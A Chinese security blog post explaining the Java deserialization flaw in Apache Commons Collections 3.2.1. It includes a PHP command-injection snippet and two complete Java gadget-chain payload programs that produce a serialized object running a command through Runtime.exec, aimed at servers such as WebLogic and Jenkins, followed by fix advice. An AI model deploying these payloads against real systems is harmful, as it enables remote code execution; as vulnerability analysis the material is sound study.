反序列化问题的研究之java篇
博客园很早就开通了,当时下决心要把自己的经验心得记录上去,但是却没有做到,因为一直觉得自己搞得东西可能还是比较的初级,感觉拿不出手,所以也就是只是把它记录在在印象笔记上面。三年下来,还是整理和收藏了一些笔记和心得,但也导致了一个问题,就是自己写起来就比较的随便,所以现在还是觉得要放到网上来,一来为了整理自己的思路,对自己这几年做的安全的一个总结和交代,二来也希望能帮助一些人少走些弯路。后续有时间把一些自认为还可以的心得体会整理并分享出来,而且发现整理以往的漏洞和笔记时候往往会有不一样的心得感悟。
最近研究了java、php和python三种语言反序列化导致的安全问题,觉得很比较有趣,遂整理一下思路。
其中python和php的构造和触发漏洞的方法相对比较简单,java的利用和构造稍微复杂,但也是通过研究java反序列化漏洞收获也更多,感觉java的反序列化漏洞非常的典型,从中可以理解pop链的完整构造过程。
首先,在解析pop链之前,先看这样一段php的代码,
- <?php
- $dir = $_GET["dir"];
- if (isset($dir))
- {
- echo "<pre>";
- system("whoami".$dir);
- echo "<pre>";
- }
- ?>
比较命令的命令注入,我们可以通过分号或者|来进行命令拼接,导致命令注入,像这样:
最终执行了我们注入的ls命令,然后在现实的应用中基本上不会存在这么明显的漏洞,但原理基本都是一样,应用程序本意是接受用户的数据,却被别有用心的“用户”利用导致了命令执行,现实的应用复杂在可能需要通过多步骤构造最终形成命令执行,这个过程叫做POP链的构造,POP是面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了,用链这个词形容还是比较贴切的,就好比现实中的锁链,一换扣一环,缺一不可。那么我们就针对于java反序列化中的这种POP链的构造做一个说明。
首先,在了解这个漏洞之前你需要懂一些java的基本知识,比如java的反射调用(当需要使用JVM未事先加载的class对象的时,就需要java的动态语言特性--反射机制进行动态加载)序列化(将数据结构或对象转换成二进制串的过程)和反序列化(将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程,反序列化常用于java对象的网络传输以及对象状态需要持久化)以及apache common collections这个jar包的用途。文章可以参考这里:http://blog.csdn.net/ffm83/article/details/41865869。简单来说common collections就是java内置标准集合类collection的一个补充和扩展库,丰富了一些数据结构和功能。而且很多著名的应用都用到了这个扩展包,像WebLogic、WebSphere、JBoss、Jenkins、OpenNMS,所以就危害范围来讲还是比较严重的,危害程度也是直接命令执行,boom!
受影响的版本Apache Commons Collections <= 3.2.1,<= 4.0.0。
我这里下载了3.2.1版本,下载完成之后添加到自己的工程目录下,还要下载一个源码包,便于分析程序。
like this
Map类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,decorate()函数如下:
Transformer
是一个接口,其中定义的transform()
函数用来将一个对象转换成另一个对象。如下所示:
当Map
中的任意项的Key或者Value被修改,相应的Transformer
就会被调用。除此以外,多个Transformer
还能串起来,形成ChainedTransformer
如下图所示:
apache common collections jar包提供了一些实现Transformer接口的类。
本次的漏洞出现在这里InvokerTransformer这个类中,这个类不仅实现了Transformer接口,还实现了Serializable接口。
我们看一下它的Transform方法
这个transform(Object input) 中使用Java反射机制调用了input对象的一个方法,而该方法名是实例化InvokerTransformer类时传入的iMethodName成员变量,也就是说这段反射代码中的调用的方法名和Class对象均可控(漏洞挖掘的过程,通常也就是先找到危险函数,然后回溯函数的调用过程,最终看在这个调用的过程中用户是否有可能控制输入)。于是,我们可以构造一个恶意的Transformer链,借用InvokerTransformer.transform()执行任意命令
最终构造的payload大致是这样:
- package test;
- import java.io.FileInputStream;
- import java.io.FileOutputStream;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- import java.lang.annotation.Target;
- import java.lang.reflect.Constructor;
- //import java.util.Map;
- import java.util.Map;
- import java.util.Map.Entry;
- import java.util.HashMap;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- public class Unserializ_map_payload {
- public static void main(String[] args) throws Exception {
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] {
- String.class, Class[].class }, new Object[] {
- "getRuntime", new Class[0] }),
- new InvokerTransformer("invoke", new Class[] {
- Object.class, Object[].class }, new Object[] {
- null, new Object[0] }),
- new InvokerTransformer("exec", new Class[] {
- String.class }, new Object[] {"open /Applications/Calculator.app"})};
- Transformer transformedChain = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- innerMap.put("value", "value");
- Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
- Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
- onlyElement.setValue("foobar");
- }
- }
其中恶意构造的Transformer实例其实就是通过反射调用runtime类的exec方法来进行命令执行,执行的命令是打开mac下面的计算器。
当然,如何把这个漏洞应用到用户量巨多的web容器上呢,下一步,就是找应用程序的输入点,让我们能把我们的恶意代码交给服务器去运行,对,没错就是反序列化,一些应用可以反序列化处理用户的数据,在进行反序列化时,java会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法。那么如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,那么我们攻击就完全可以自己控制了。
漏洞发现者于是在sun.reflect.annotation中找到了这个类:AnnotationInvocationHandler。该类的代码大致如下:
- class AnnotationInvocationHandler implements InvocationHandler, Serializable {
- private final Class<? extends Annotation> type;
- private final Map<String, Object> memberValues;
- AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
- this.type = type;
- this.memberValues = memberValues;
- }
- ...
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
- // Check to make sure that types have not evolved incompatibly
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch(IllegalArgumentException e) {
- // Class is no longer an annotation type; all bets are off
- return;
- }
- Map<String, Class<?>> memberTypes = annotationType.memberTypes();
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
- String name = memberValue.getKey();
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
- if (!(memberType.isInstance(value) ||
- value instanceof ExceptionProxy)) {
- // 此处触发一系列的Transformer
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
- }
- }
- }
- }
简直完美,不仅重写了readobject方法,还对类型为map的memberVaule进行了setVaule的操作。
于是乎 我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。
最终的payload大致是这样:
- package test;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.io.ObjectOutputStream;
- import java.lang.annotation.Target;
- import java.lang.reflect.Constructor;
- import java.util.HashMap;
- import java.util.Map;
- import java.util.Map.Entry;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- public class Unserializ_payload {
- public static void main(String[] args) throws Exception {
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] {
- String.class, Class[].class }, new Object[] {
- "getRuntime", new Class[0] }),
- new InvokerTransformer("invoke", new Class[] {
- Object.class, Object[].class }, new Object[] {
- null, new Object[0] }),
- new InvokerTransformer("exec", new Class[] {
- String.class }, new Object[] {"open /Applications/Calculator.app"})};
- Transformer transformedChain = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- innerMap.put("value", "value");
- Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
- // Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
- // onlyElement.setValue("foobar");
- Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
- ctor.setAccessible(true);
- Object instance = ctor.newInstance(Target.class, outerMap);
- File f = new File("/Users/m0rk/Desktop/payload.bin");
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
- out.writeObject(instance);
- out.flush();
- out.close();
- }
- }
然后当某个应用程序去反序列化我们所生成的文件时候,就会根据我们构造POP链的过程进行步骤执行,最后实现我们的命令执行。
like this
然后呢,在WebLogic, WebSphere, JBoss, Jenkins, OpenNMS中会有做一些反序列化的处理,像是session处理、jenkins的cli通信都是用到了序列化,服务器会进行反序列化,那么这个时候就可以利用了。
执行链的过程如下:
- /*
- Gadget chain:
- ObjectInputStream.readObject()
- AnnotationInvocationHandler.readObject()
- AbstractInputCheckedMapDecorator$MapEntry.setValue()
- TransformedMap.checkSetValue()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
- Method.invoke()
- Class.getMethod()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.getRuntime()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
- Requires:
- commons-collections <= 3.2.1
- */
漏洞修复:
最新版本的apache common collections中的InvokerTransformer见这里https://github.com/apache/commons-collections/blob/trunk/src/main/java/org/apache/commons/collections4/functors/InvokerTransformer.java
可以看到已经去掉了实现serialize接口,此外还在实现的Transformer方法中将类和方法声明为final类型(个人认为去掉了serialize的接口实现就可以堵掉这个漏洞了)。
反序列化漏洞的问题还是程序对不可信的数据进行了反序列化的操作,所以关于反序列化漏洞的修复可以通过设置允许进行反序列化类型的白名单来解决。
总结:这个POP执行链的构造还是比较的精巧,一环套一环,缺一不可。这里不得不佩服那些漏洞发现者,自己分析完这个漏洞也是收益良多。
参考:
1.https://security.tencent.com/index.php/blog/msg/97
2.https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
3.http://rickgray.me/2015/11/25/untrusted-deserialization-exploit-with-java.html
反序列化问题的研究之java篇的更多相关文章
- 反序列化漏洞问题研究之php篇
php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...
- Java安全之反序列化回显研究
Java安全之反序列化回显研究 0x00 前言 续上文反序列化回显与内存马,继续来看看反序列化回显的方式.上篇文中其实是利用中间件中存储的Request 和Response对象来进行回显.但并不止这么 ...
- [转]有哪些值得关注的技术博客(Java篇)
有哪些值得关注的技术博客(Java篇) 大部分程序员在自学的道路上不知道走了多少坑,这个视频那个网站搞得自己晕头转向.对我个人来说我平常在学习的过程中喜欢看一些教程式的博客.这些博客的特点: 1. ...
- JSON总结(java篇)
JSON总结(java篇一) JSON简介 JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式.它基于ECMAScript的一个子集. JSON采用完全独立于 ...
- 面试总结——Java篇
前言:前期对Java基础的相关知识点进行了总结,具体参看:Java基础和面试知识点.近期由于笔者正在换工作(ing),因此下面将笔者在面试过程中或笔者朋友面试过程中反馈的题目进行总结,相信弄清楚下面题 ...
- 一个简单的通讯服务框架(大家发表意见一起研究)JAVA版本
最近研究下java语言,根据一般使用的情况,写了个连接通讯服务的框架: 框架结构 C-Manager-S; 把所有通讯内容抽取成三个方法接口:GetData,SetData,带返还的Get; 所有数据 ...
- 事件驱动模型实例详解(Java篇)
或许每个软件从业者都有从学习控制台应用程序到学习可视化编程的转变过程,控制台应用程序的优点在于可以方便的练习某个语言的语法和开发习惯(如.net和java),而可视化编程的学习又可以非常方便开发出各类 ...
- 管中窥豹——框架下的SQL注入 Java篇
管中窥豹--框架下的SQL注入 Java篇 背景 SQL注入漏洞应该算是很有年代感的漏洞了,但是现在依然活跃在各大漏洞榜单中,究其原因还是数据和代码的问题. SQL 语句在DBMS系统中作为表达式被解 ...
- 最值得收藏的java技术博客(Java篇)
第一个:java_my_life 作者介绍:找不到原作者信息.大概做了翻阅全部是2012年的博客. 博客主要内容:主要内容是关于Java设计模式的一些讲解和学习笔记,在相信对学习设计模式的同学帮助很大 ...
随机推荐
- Android Studio导入修改
- 蚂蚁金服寒泉子:JVM源码分析之临门一脚的OutOfMemoryError完全解读
➠更多技术干货请戳:听云博客 概述 OutOfMemoryError,说的是java.lang.OutOfMemoryError,是JDK里自带的异常,顾名思义,说的就是内存溢出,当我们的系统内存严重 ...
- yii2分页的基本使用及其配置详解
作者:白狼 出处:http://www.manks.top/yii2_linkpager_pagination.html 本文版权归作者,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置 ...
- Symantec Backup Exec 2012 Agent For Linux安装
Backup Exec 2012 介绍 Backup Exec 2012 是一种为虚拟和物理环境提供保护的集成产品,能够简化备份和灾难恢复,并提供了无可匹敌的恢复功能.借助于强大的 Symantec ...
- 使用管道符在PowerShell中进行各种数据操作
最近在培训PowerShell,在讲到Pipeline的时候,对于我这种长期和数据(数据库)打交道的人来说,觉得很实用,所以写此博文,记录一下. 无论是在Linux中写Bash脚本还是在Window上 ...
- android 发送短信功能
private void sendSMS(String num,String smsBody) { String phoneNum = "smsto:" + num; Uri sm ...
- 浅谈Linux中的信号处理机制(二)
首先谢谢 @小尧弟 这位朋友对我昨天夜里写的一篇<浅谈Linux中的信号处理机制(一)>的指正,之前的题目我用的“浅析”一词,给人一种要剖析内核的感觉.本人自知功力不够,尚且不能对着Lin ...
- [django]用户认证中只允许登陆用户访问(网页安全问题)
当设计一个重要网页时,一般要求未从登陆界面访问的用户不能进入其他页面,那么需要如何设置呢? 如下 django中的url.py urlpatterns = [ url(r'^$', 'login ...
- linux下遇见mysql启动报2002错误解决办法
前言:目前问题解决了,但是仍不知道是什么原因造成的,在出现问题前安装uWSGI后,mysql就出现这个问题的,哪位大侠说说这是怎么回事? 正文:Linux 下 Mysql error 2002 错误解 ...
- 修改 EF的默认连接工厂为 Sql Server 而不是LocalDb
当你用EF6创建一个新项目,不知你是否注意到默认的连接字符串使用了LocalDb而不是SQLServer.但你如果想把默认连接改用SQLSErver而不是LocalDb.这个其实很简单:只需修改下 ...